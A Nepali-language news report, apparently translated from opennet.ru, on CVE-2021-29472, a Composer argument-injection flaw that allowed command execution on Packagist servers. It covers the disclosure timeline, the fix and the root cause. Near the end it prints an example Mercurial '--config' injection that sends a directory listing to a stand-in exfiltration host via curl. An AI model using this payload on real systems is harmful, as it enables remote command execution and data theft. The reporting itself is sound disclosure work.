कम्पोजर प्याकेज प्रबन्धकमा कमजोरी जसले प्याकेजिस्ट PHP भण्डारको सम्झौतालाई अनुमति दिन्छ

कम्पोजर निर्भरता प्रबन्धकमा एक महत्वपूर्ण जोखिम (CVE-2021-29472) पहिचान गरिएको छ, जसले स्रोत डाउनलोड ठेगाना निर्दिष्ट गर्ने विशेष रूपमा क्राफ्ट गरिएको URL मानको साथ प्याकेज प्रशोधन गर्दा प्रणालीमा स्वेच्छाचारी आदेशहरू कार्यान्वयन गर्न अनुमति दिन्छ। समस्या GitDriver, SvnDriver, र HgDriver कम्पोनेन्टहरूमा Git, Subversion, र Mercurial स्रोत नियन्त्रण प्रणालीहरू प्रयोग गर्दा प्रयोग गरिन्छ। कमजोरी कम्पोजर 1.10.22 र 2.0.13 रिलीजहरूमा फिक्स गरिएको थियो।

यो विशेष रूपमा नोट गरिएको छ कि मुद्दाले मुख्य रूपमा कम्पोजरको पूर्वनिर्धारित प्याकेजिस्ट प्याकेज भण्डारलाई असर गरेको छ, जसमा 306 PHP विकासकर्ता प्याकेजहरू र 1.4 बिलियन मासिक डाउनलोडहरू छन्। प्रयोगले देखाउँदछ कि, यदि समस्याको बारेमा थाहा छ भने, आक्रमणकारीहरूले प्याकेजिस्ट पूर्वाधारको नियन्त्रण लिन सक्छन् र मर्मतकर्ताहरूको प्रमाणहरू रोक्न सक्छन् वा प्याकेज डाउनलोडहरूलाई तेस्रो-पक्ष सर्भरमा पुन: निर्देशित गर्न सक्छन्, ब्याकडोर प्रतिस्थापन गर्न दुर्भावनापूर्ण परिवर्तनहरूका साथ प्याकेजहरूको भेरियन्टहरूको डेलिभरीको व्यवस्था गर्दै। निर्भरता को स्थापना को समयमा।

अन्त प्रयोगकर्ताहरूको लागि खतरा यो तथ्यमा सीमित छ कि composer.json को सामग्री सामान्यतया प्रयोगकर्ताद्वारा परिभाषित गरिएको छ, र तेस्रो-पक्ष भण्डारहरू पहुँच गर्दा स्रोतहरूमा लिङ्कहरू पास गरिन्छ, जुन सामान्यतया विश्वसनीय हुन्छन्। मुख्य प्रहार Packagist.org भण्डार र निजी प्याकेजिस्ट सेवामा परेको छ, जसले प्रयोगकर्ताहरूबाट प्राप्त डाटाको स्थानान्तरणको साथ कम्पोजरलाई कल गर्छ। आक्रमणकारीहरूले तिनीहरूको कोड प्याकेजिस्ट सर्भरहरूमा विशेष रूपमा क्राफ्ट गरिएको प्याकेज होस्ट गरेर कार्यान्वयन गर्न सक्थे।

प्याकेजिस्ट टोलीले जोखिम रिपोर्ट गरिएको 12 घण्टा भित्र जोखिम फिक्स गर्यो। अन्वेषकहरूले निजी रूपमा प्याकेजिस्ट विकासकर्ताहरूलाई अप्रिल 22 मा सूचित गरे र मुद्दा उही दिन फिक्स गरियो। अप्रिल २७ मा कम्पोजर फिक्सिङ गर्ने सार्वजनिक अपडेट अप्रिल २८ मा प्रकाशित भएको विवरणसहित पोस्ट गरिएको थियो। प्याकेजिस्ट सर्भरहरूमा लगहरूको अडिटले जोखिमसँग सम्बन्धित कुनै पनि संदिग्ध गतिविधि प्रकट गरेन।

रूट composer.json फाइल र स्रोत डाउनलोड लिङ्कहरूमा URL प्रमाणीकरण कोडमा बगका कारण समस्या भएको हो। यो बग नोभेम्बर २०११ देखि कोडमा रहेको छ। Packagist मा, एक विशेष स्रोत नियन्त्रण प्रणालीमा बाँधिएको बिना कोडको लोडिङ व्यवस्थित गर्न, विशेष तहहरू प्रयोग गरिन्छ, जुन "fromShellCommandline" लाई आदेश लाइन तर्कहरू पास गरेर कल गरेर प्रदर्शन गरिन्छ। उदाहरणका लागि, git को लागि, "git ls-remote --heads $URL" कमाण्ड भनिन्छ, जहाँ URL लाई "ProcessExecutor::escape($url)" विधि प्रयोग गरी प्रशोधन गरिन्छ, सम्भावित खतरनाक निर्माणहरू जस्तै "$( ...)" वा "` …`"।

समस्याको सार यो हो कि ProcessExecutor:: escape विधिले "—" अनुक्रमबाट भागेन, जसले URL मा कुनै पनि अतिरिक्त कल प्यारामिटर निर्दिष्ट गर्न अनुमति दियो। यो एस्केपिङ GitDriver.php, SvnDriver.php र HgDriver.php मा हराइरहेको थियो। GitDriver.php आक्रमणलाई "git ls-remote" आदेशले पथ पछि थप तर्कहरू निर्दिष्ट गर्न समर्थन गर्दैन भन्ने तथ्यले बाधित गरेको थियो। HgDriver.php मा आक्रमण "-config" प्यारामिटरलाई "hq" उपयोगितामा पास गरेर सम्भव भयो, जसले "alias.identify" सेटिङसँग हेरफेर मार्फत कुनै पनि आदेशको कार्यान्वयनलाई व्यवस्थित गर्न अनुमति दिन्छ। उदाहरणका लागि, कर्ल उपयोगिता चलाएर कोड डाउनलोड गर्न र कार्यान्वयन गर्न, कसैले निर्दिष्ट गर्न सक्छ: --config=alias.identify=!curl http://exfiltration-host.tld --data "$(ls -alh)"

प्याकेजिस्टसँग मिल्दोजुल्दो URL को साथ परीक्षण प्याकेज पोस्ट गरेर, शोधकर्ताहरूले प्रमाणित गरे कि पोस्ट गरेपछि, तिनीहरूको सर्भरले हालको डाइरेक्टरीमा फाइलहरूको सूची समावेश गरी AWS मा प्याकेजिस्ट सर्भरहरू मध्ये एकबाट HTTP अनुरोध प्राप्त गर्यो।

स्रोत: opennet.ru